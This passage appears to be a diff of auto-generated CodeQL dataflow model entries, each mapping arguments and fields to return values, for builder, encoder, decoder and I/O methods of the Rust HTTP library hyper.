["repo:https://github.com/hyperium/hyper:hyper", "::initial_connection_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::initial_max_send_streams", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::initial_stream_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_interval", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_timeout", "Argument[0]", "Argument[self].Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::keep_alive_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_timeout", "Argument[0]", "ReturnValue.Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::keep_alive_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_while_idle", "Argument[0]", "Argument[self].Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::keep_alive_while_idle]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_while_idle", "Argument[0]", "ReturnValue.Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::keep_alive_while_idle]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_while_idle", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_concurrent_reset_streams", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_concurrent_streams", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_frame_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_header_list_size", "Argument[0]", "Argument[self].Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::max_header_list_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_header_list_size", "Argument[0]", "ReturnValue.Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::max_header_list_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_header_list_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_pending_accept_reset_streams", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[0]", "Argument[self].Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::max_send_buffer_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[0]", "ReturnValue.Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::max_send_buffer_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::client::conn::http2::Builder::exec]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::timer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::try_send", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::unbound", "Argument[self].Field[crate::client::dispatch::Sender::inner]", "ReturnValue.Field[crate::client::dispatch::UnboundedSender::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_error", "Argument[self].Field[crate::client::dispatch::TrySendError::error]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::take_message", "Argument[self].Field[crate::client::dispatch::TrySendError::message].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::take_message", "Argument[self].Field[crate::client::dispatch::TrySendError::message]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::common::io::compat::Compat(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_inner", "Argument[self].Field[crate::common::io::rewind::Rewind::inner]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_inner", "Argument[self].Field[crate::common::io::rewind::Rewind::pre].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::common::io::rewind::Rewind::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new_buffered", "Argument[0]", "ReturnValue.Field[crate::common::io::rewind::Rewind::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new_buffered", "Argument[1]", "ReturnValue.Field[crate::common::io::rewind::Rewind::pre].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::rewind", "Argument[0]", "Argument[self].Field[crate::common::io::rewind::Rewind::pre].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::check", "Argument[0].Field[crate::common::time::Dur::Configured(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::check", "Argument[0].Field[crate::common::time::Dur::Default(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::with", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::from_inner", "Argument[0]", "ReturnValue.Field[crate::ext::Protocol::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_inner", "Argument[self].Field[crate::ext::Protocol::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::as_ref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::as_ref", "Argument[self].Field[crate::ext::h1_reason_phrase::ReasonPhrase(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::as_bytes", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::as_bytes", "Argument[self].Field[crate::ext::h1_reason_phrase::ReasonPhrase(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::wrap", "Argument[0]", "ReturnValue.Field[crate::ffi::http_types::hyper_response(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::proto::h1::conn::Conn::io].Field[crate::proto::h1::io::Buffered::io]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::pending_upgrade", "Argument[self].Field[crate::proto::h1::conn::Conn::state].Field[crate::proto::h1::conn::State::upgrade]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_h1_parser_config", "Argument[0]", "Argument[self].Field[crate::proto::h1::conn::Conn::state].Field[crate::proto::h1::conn::State::h1_parser_config]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_timer", "Argument[0]", "Argument[self].Field[crate::proto::h1::conn::Conn::state].Field[crate::proto::h1::conn::State::timer]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::wants_read_again", "Argument[self].Field[crate::proto::h1::conn::Conn::state].Field[crate::proto::h1::conn::State::notify_read]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::chunked", "Argument[0]", "ReturnValue.Field[crate::proto::h1::decode::Decoder::kind].Field[crate::proto::h1::decode::Kind::Chunked::h1_max_headers]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::chunked", "Argument[1]", "ReturnValue.Field[crate::proto::h1::decode::Decoder::kind].Field[crate::proto::h1::decode::Kind::Chunked::h1_max_header_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::length", "Argument[0]", "ReturnValue.Field[crate::proto::h1::decode::Decoder::kind].Field[crate::proto::h1::decode::Kind::Length(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[1]", "ReturnValue.Field[crate::proto::h1::decode::Decoder::kind].Field[crate::proto::h1::decode::Kind::Chunked::h1_max_headers]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[2]", "ReturnValue.Field[crate::proto::h1::decode::Decoder::kind].Field[crate::proto::h1::decode::Kind::Chunked::h1_max_header_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::recv_msg", "Argument[0].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::proto::h1::dispatch::Client::rx]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_inner", "Argument[self].Field[crate::proto::h1::dispatch::Dispatcher::dispatch]", "ReturnValue.Field[2]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::proto::h1::dispatch::Dispatcher::dispatch]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[1]", "ReturnValue.Field[crate::proto::h1::dispatch::Dispatcher::conn]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::recv_msg", "Argument[0].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::recv_msg", "Argument[0].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_service", "Argument[self].Field[crate::proto::h1::dispatch::Server::service]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::proto::h1::dispatch::Server::service]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::chunk", "Argument[self].Field[crate::proto::h1::encode::ChunkSize::bytes].Element", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::from", "Argument[0]", "ReturnValue.Field[crate::proto::h1::encode::EncodedBuf::kind].Field[crate::proto::h1::encode::BufKind::Chunked(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::from", "Argument[0]", "ReturnValue.Field[crate::proto::h1::encode::EncodedBuf::kind].Field[crate::proto::h1::encode::BufKind::Exact(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::from", "Argument[0]", "ReturnValue.Field[crate::proto::h1::encode::EncodedBuf::kind].Field[crate::proto::h1::encode::BufKind::Limited(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::encode", "Argument[0]", "ReturnValue.Field[crate::proto::h1::encode::EncodedBuf::kind].Field[crate::proto::h1::encode::BufKind::Exact(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::encode_and_end", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::end", "Argument[self].Field[crate::proto::h1::encode::Encoder::kind].Field[crate::proto::h1::encode::Kind::Length(0)]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::proto::h1::encode::NotEof(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_chunked_with_trailing_fields", "Argument[self].Field[crate::proto::h1::encode::Encoder::is_last]", "ReturnValue.Field[crate::proto::h1::encode::Encoder::is_last]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_chunked_with_trailing_fields", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::is_last", "Argument[self].Field[crate::proto::h1::encode::Encoder::is_last]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::length", "Argument[0]", "ReturnValue.Field[crate::proto::h1::encode::Encoder::kind].Field[crate::proto::h1::encode::Kind::Length(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_last", "Argument[0]", "Argument[self].Field[crate::proto::h1::encode::Encoder::is_last]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_last", "Argument[0]", "ReturnValue.Field[crate::proto::h1::encode::Encoder::is_last]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_last", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_inner", "Argument[self].Field[crate::proto::h1::io::Buffered::io]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::io_mut", "Argument[self].Field[crate::proto::h1::io::Buffered::io]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::is_read_blocked", "Argument[self].Field[crate::proto::h1::io::Buffered::read_blocked]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::proto::h1::io::Buffered::io]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::read_buf_mut", "Argument[self].Field[crate::proto::h1::io::Buffered::read_buf]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_flush_pipeline", "Argument[0]", "Argument[self].Field[crate::proto::h1::io::Buffered::flush_pipeline]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_max_buf_size", "Argument[0]", "Argument[self].Field[crate::proto::h1::io::Buffered::read_buf_strategy].Field[crate::proto::h1::io::ReadStrategy::Adaptive::max]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_max_buf_size", "Argument[0]", "Argument[self].Field[crate::proto::h1::io::Buffered::write_buf].Field[crate::proto::h1::io::WriteBuf::max_buf_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_read_buf_exact_size", "Argument[0]", "Argument[self].Field[crate::proto::h1::io::Buffered::read_buf_strategy].Field[crate::proto::h1::io::ReadStrategy::Exact(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::write_buf", "Argument[self].Field[crate::proto::h1::io::Buffered::write_buf]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::remaining", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::proto::h1::io::Cursor::bytes]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::is_terminated", "Argument[self].Field[crate::proto::h2::client::ConnMapErr::is_terminated]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::for_stream", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[1]", "ReturnValue.Field[crate::proto::h2::server::Server::service]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[2].Field[crate::proto::h2::server::Config::date_header]", "ReturnValue.Field[crate::proto::h2::server::Server::date_header]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[3]", "ReturnValue.Field[crate::proto::h2::server::Server::exec]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[4]", "ReturnValue.Field[crate::proto::h2::server::Server::timer]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::init_len", "Argument[self].Field[crate::rt::io::ReadBuf::init]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::len", "Argument[self].Field[crate::rt::io::ReadBuf::filled]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::uninit", "Argument[0]", "ReturnValue.Field[crate::rt::io::ReadBuf::raw]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::as_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::remaining", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::auto_date_header", "Argument[0]", "Argument[self].Field[crate::server::conn::http1::Builder::date_header]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::auto_date_header", "Argument[0]", "ReturnValue.Field[crate::server::conn::http1::Builder::date_header]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::auto_date_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::half_close", "Argument[0]", "Argument[self].Field[crate::server::conn::http1::Builder::h1_half_close]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::half_close", "Argument[0]", "ReturnValue.Field[crate::server::conn::http1::Builder::h1_half_close]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::half_close", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::header_read_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::ignore_invalid_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive", "Argument[0]", "Argument[self].Field[crate::server::conn::http1::Builder::h1_keep_alive]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive", "Argument[0]", "ReturnValue.Field[crate::server::conn::http1::Builder::h1_keep_alive]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_buf_size", "Argument[0]", "Argument[self].Field[crate::server::conn::http1::Builder::max_buf_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_buf_size", "Argument[0]", "ReturnValue.Field[crate::server::conn::http1::Builder::max_buf_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_buf_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_headers", "Argument[0]", "Argument[self].Field[crate::server::conn::http1::Builder::h1_max_headers].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_headers", "Argument[0]", "ReturnValue.Field[crate::server::conn::http1::Builder::h1_max_headers].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::pipeline_flush", "Argument[0]", "Argument[self].Field[crate::server::conn::http1::Builder::pipeline_flush]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::pipeline_flush", "Argument[0]", "ReturnValue.Field[crate::server::conn::http1::Builder::pipeline_flush]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::pipeline_flush", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::preserve_header_case", "Argument[0]", "Argument[self].Field[crate::server::conn::http1::Builder::h1_preserve_header_case]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::preserve_header_case", "Argument[0]", "ReturnValue.Field[crate::server::conn::http1::Builder::h1_preserve_header_case]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::preserve_header_case", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::timer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::title_case_headers", "Argument[0]", "Argument[self].Field[crate::server::conn::http1::Builder::h1_title_case_headers]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::title_case_headers", "Argument[0]", "ReturnValue.Field[crate::server::conn::http1::Builder::h1_title_case_headers]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::title_case_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::writev", "Argument[0]", "Argument[self].Field[crate::server::conn::http1::Builder::h1_writev].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::writev", "Argument[0]", "ReturnValue.Field[crate::server::conn::http1::Builder::h1_writev].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::writev", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::with_upgrades", "Argument[self]", "ReturnValue.Field[crate::server::conn::http1::UpgradeableConnection::inner].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::adaptive_window", "Argument[0]", "Argument[self].Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::adaptive_window]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::adaptive_window", "Argument[0]", "ReturnValue.Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::adaptive_window]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::adaptive_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::auto_date_header", "Argument[0]", "Argument[self].Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::date_header]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::auto_date_header", "Argument[0]", "ReturnValue.Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::date_header]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::auto_date_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::enable_connect_protocol", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::initial_connection_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::initial_stream_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_interval", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_timeout", "Argument[0]", "Argument[self].Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::keep_alive_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_timeout", "Argument[0]", "ReturnValue.Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::keep_alive_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::keep_alive_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_concurrent_streams", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_frame_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_header_list_size", "Argument[0]", "Argument[self].Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::max_header_list_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_header_list_size", "Argument[0]", "ReturnValue.Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::max_header_list_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_header_list_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_local_error_reset_streams", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_pending_accept_reset_streams", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[0]", "Argument[self].Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::max_send_buffer_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[0]", "ReturnValue.Field[crate::server::conn::http2::Builder::h2_builder].Field[crate::proto::h2::server::Config::max_send_buffer_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_send_buf_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::server::conn::http2::Builder::exec]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::serve_connection", "Argument[1]", "ReturnValue.Field[crate::server::conn::http2::Connection::conn].Field[crate::proto::h2::server::Server::service]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::serve_connection", "Argument[self].Field[crate::server::conn::http2::Builder::exec].Reference", "ReturnValue.Field[crate::server::conn::http2::Connection::conn].Field[crate::proto::h2::server::Server::exec]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::serve_connection", "Argument[self].Field[crate::server::conn::http2::Builder::timer].Reference", "ReturnValue.Field[crate::server::conn::http2::Connection::conn].Field[crate::proto::h2::server::Server::timer]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::serve_connection", "Argument[self].Field[crate::server::conn::http2::Builder::timer]", "ReturnValue.Field[crate::server::conn::http2::Connection::conn].Field[crate::proto::h2::server::Server::timer]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::timer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::service::util::ServiceFn::f].Reference", "ReturnValue.Field[crate::service::util::ServiceFn::f]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::clone", "Argument[self].Field[crate::service::util::ServiceFn::f]", "ReturnValue.Field[crate::service::util::ServiceFn::f]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::call", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::call", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::inner", "Argument[self].Field[crate::support::tokiort::TokioIo::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::support::tokiort::TokioIo::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::support::trailers::StreamBodyWithTrailers::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::set_trailers", 